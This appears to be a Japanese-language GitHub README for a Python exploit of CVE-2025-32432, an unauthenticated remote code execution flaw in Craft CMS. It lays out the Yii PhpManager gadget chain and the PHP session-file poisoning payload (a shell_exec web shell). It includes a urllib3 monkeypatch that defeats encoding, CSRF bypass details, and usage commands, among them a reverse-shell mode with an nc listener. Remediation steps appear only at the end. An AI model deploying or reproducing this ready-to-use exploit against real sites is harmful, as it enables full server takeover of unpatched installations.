si13nttt/cve-2025-32432CVE-2025-32432を悪用するPython PoC。Yii DIガジェットインジェクションを介したCraft CMSの未認証RCEで、assetIdスキャン、リバースシェル、および修復ガイダンスを備える。
深刻度: 緊急 (CVSS 10.0) 認証要否: 不要 影響範囲: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 修正版: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50
悪用する前に、対象が脆弱なバージョンの Craft CMS を実行していることを確認する。
curl -s http://target/cms/index.php | grep -i craft
curl -s http://target/cms/web.config
curl -s http://target/cms/composer.json | python3 -m json.tool | grep craftcms
curl -s -o /dev/null -w "%{http_code}" \
-X POST http://target/cms/actions/assets/generate-transform \
-H "Content-Type: application/json" \
-d '{"assetId":1,"handle":{"width":1,"height":1}}'
python3 exploit.py -u http://target/cms -c "id"
出力に uid= が含まれていれば、対象は脆弱であると確認され、RCE が達成されている。
AssetsController::actionGenerateTransform() は allowAnonymous として宣言されており、認証なしで到達可能になっている。ユーザー制御の handle パラメータをそのまま Yii::createObject() に渡している:
protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];
public function actionGenerateTransform(): Response
{
$handle = Craft::$app->getRequest()->getBodyParam('handle');
$transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}
Yii の DI コンテナは、許可リストなしで 2 つの特別な配列キーを処理する:
| キー | 動作 |
|---|---|
__class | 宣言された型の代わりにこのクラスをインスタンス化する |
__construct() | これらの値をコンストラクタ引数として渡す |
ガジェットチェーン:
handle[as x][__class] = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
|
PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile
セッションファイルポイズニングがループを閉じる: PHP は GET パラメータをそのまま /tmp/sess_<CraftSessionId> に保存する。そこに <?=shell_exec($_GET['cmd']);exit;?> を仕込むことで RCE が成立する。
根本的な問題: Python の requests は送信前に <、>、?、= をエンコードする。PHP のセッションハンドラはパーセントエンコードされたバイト列を保存する — 実行可能な PHP ではない。
GET /index.php?p=admin/dashboard&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E HTTP/1.1
# Session file stores:
returnUrl|s:107:"...&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E"
# PHP sees a plain string — no PHP tags — nothing executes.
GET /index.php?p=admin/dashboard&cve202532432=<?=shell_exec($_GET['cmd']);exit;?> HTTP/1.1
# Session file stores:
returnUrl|s:107:"...&cve202532432=<?=shell_exec($_GET['cmd']);exit;?>"
# When require()'d, PHP executes shell_exec and returns the output.
修正: HTTPConnectionPool._make_request — TCP 直前の最後のポイント — をモンキーパッチし、そこで urllib.parse.unquote() を呼び出す:
def _raw_request(self, conn, method, url, **kw):
url = urllib.parse.unquote(url) # restore < > ? = just before socket write
return self._orig_req(conn, method, url, **kw)
urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request
標準: PHP のデフォルトセッション Cookie は PHPSESSID である。Craft CMS はアプリケーション設定でこれを上書きしている:
// craft/config/app.php (Craft CMS source)
'session' => [
'class' => craft\web\Session::class,
'cookieName' => 'CraftSessionId', // <-- custom name, NOT PHPSESSID
],
これは、ディスク上のセッションファイルが /tmp/sess_<PHPSESSID> ではなく /tmp/sess_<CraftSessionId> であることを意味する。
| プロパティ | PHP デフォルト | Craft CMS |
|---|---|---|
| Cookie 名 | PHPSESSID | CraftSessionId |
| セッションファイル | /tmp/sess_abc123 | /tmp/sess_abc123 |
| 読み取り方法 | session.cookies.get("PHPSESSID") | session.cookies.get("CraftSessionId") |
| 誤った場合の挙動 | None が返る | itemFile パスが存在しないファイルを指す |
| 結果 | エクスプロイトがサイレントに失敗 | エラーなし — require() が単に失敗する |
# BROKEN — reads PHPSESSID, gets None
session_id = session.cookies.get("PHPSESSID")
item_file = f"/tmp/sess_{session_id}" # -> "/tmp/sess_None" — does not exist
# FIXED — reads the actual Craft cookie
session_id = sess.cookies.get("CraftSessionId")
item_file = f"/tmp/sess_{session_id}" # -> "/tmp/sess_u8p2hn4kfgol9nbjkcvnv7ag6u"
正しい Cookie 名は、任意の Craft ページにアクセスした後にブラウザの DevTools を調べるか、Set-Cookie レスポンスヘッダを確認することで検証できる:
curl -sI http://target/cms/index.php | grep -i set-cookie
# Set-Cookie: CraftSessionId=u8p2hn4kfgol9nbjkcvnv7ag6u; path=/; HttpOnly
Craft はすべての非匿名 POST アクションで CSRF トークンを検証する。トークンを省略すると 400 Bad Request が発生する。
# BROKEN
requests.post(url, json=payload)
# FIXED — extract CRAFT_CSRF_TOKEN from login page HTML, send as header
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})
| 問題 | ログポイズニング PoC | セッション (誤った Cookie) | セッション (CSRF なし) | 本 PoC |
|---|---|---|---|---|
| URL エンコーディング | N/A (User-Agent) | 壊れている | 壊れている | 修正済み モンキーパッチ |
| Cookie 名 | N/A | 壊れている PHPSESSID | 壊れている PHPSESSID | 修正済み CraftSessionId |
| トリガー時の CSRF | OK | OK | 壊れている | 修正済み |
| 古いログ exit; | 壊れている | N/A | N/A | N/A |
| /cms プレフィックスで動作 | 壊れている | 壊れている | 壊れている | 修正済み |
usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
[--revshell] [--lhost LHOST] [--lport LPORT]
options:
-u URL Craft CMS base URL including path prefix
-c CMD Shell command to execute
-a ASSET_ID Known valid assetId (skips auto-scan)
-s SCAN_MAX Upper bound for assetId scan (default: 50)
--revshell Send a Python3 reverse shell
--lhost LHOST Listener IP (required with --revshell)
--lport LPORT Listener port (required with --revshell)
python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"
# Reverse shell (Python3 — avoids /dev/tcp and bash quoting issues)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444
| 対応 | 詳細 |
|---|---|
| Craft CMS のアップグレード | 3.9.15 / 4.14.15 / 5.6.17 は handle が ImageTransformerInterface を実装していることを検証する |
| Yii2 のアップグレード | 2.0.50 は Component::__set における __class インジェクションをブロックする |
| WAF ルール | /actions/assets/generate-transform へのリクエストボディ内の __class または __construct() をブロックする |
| ブランチ | 脆弱 | 修正済み |
|---|---|---|
| 3.x | 3.0.0-RC1 – 3.9.14 | 3.9.15+ |
| 4.x | 4.0.0-RC1 – 4.14.14 | 4.14.15+ |
| 5.x | 5.0.0-RC1 – 5.6.16 | 5.6.17+ |
cd /var/www/craftapp
grep -rn 'allowAnonymous' vendor/craftcms/cms/src/controllers/AssetsController.php
grep -n 'function actionGenerateTransform' -A 20 vendor/craftcms/cms/src/controllers/AssetsController.php
actionGenerateTransform() メソッドは allowAnonymous とマークされている — つまり
認証前に実行される。handle パラメータはクラス許可リストなしで
Yii::createObject() に直接渡され、yii\rbac\PhpManager ガジェットチェーンを可能にする。
# 1. Verify the package integrity
cd /opt/vendor-packages
sha256sum -c craftcms-cms-5.6.17.tar.gz.sha256
# 2. Inspect the diff against current install
tar xzf /opt/vendor-packages/craftcms-cms-5.6.17.tar.gz -C /tmp
diff -u vendor/craftcms/cms/src/controllers/AssetsController.php \
/tmp/craftcms-cms-5.6.17/src/controllers/AssetsController.php
# 3. Backup current version (rollback point)
cd /var/www/craftapp
cp -a vendor/craftcms/cms ~/cms-5.6.16.rollback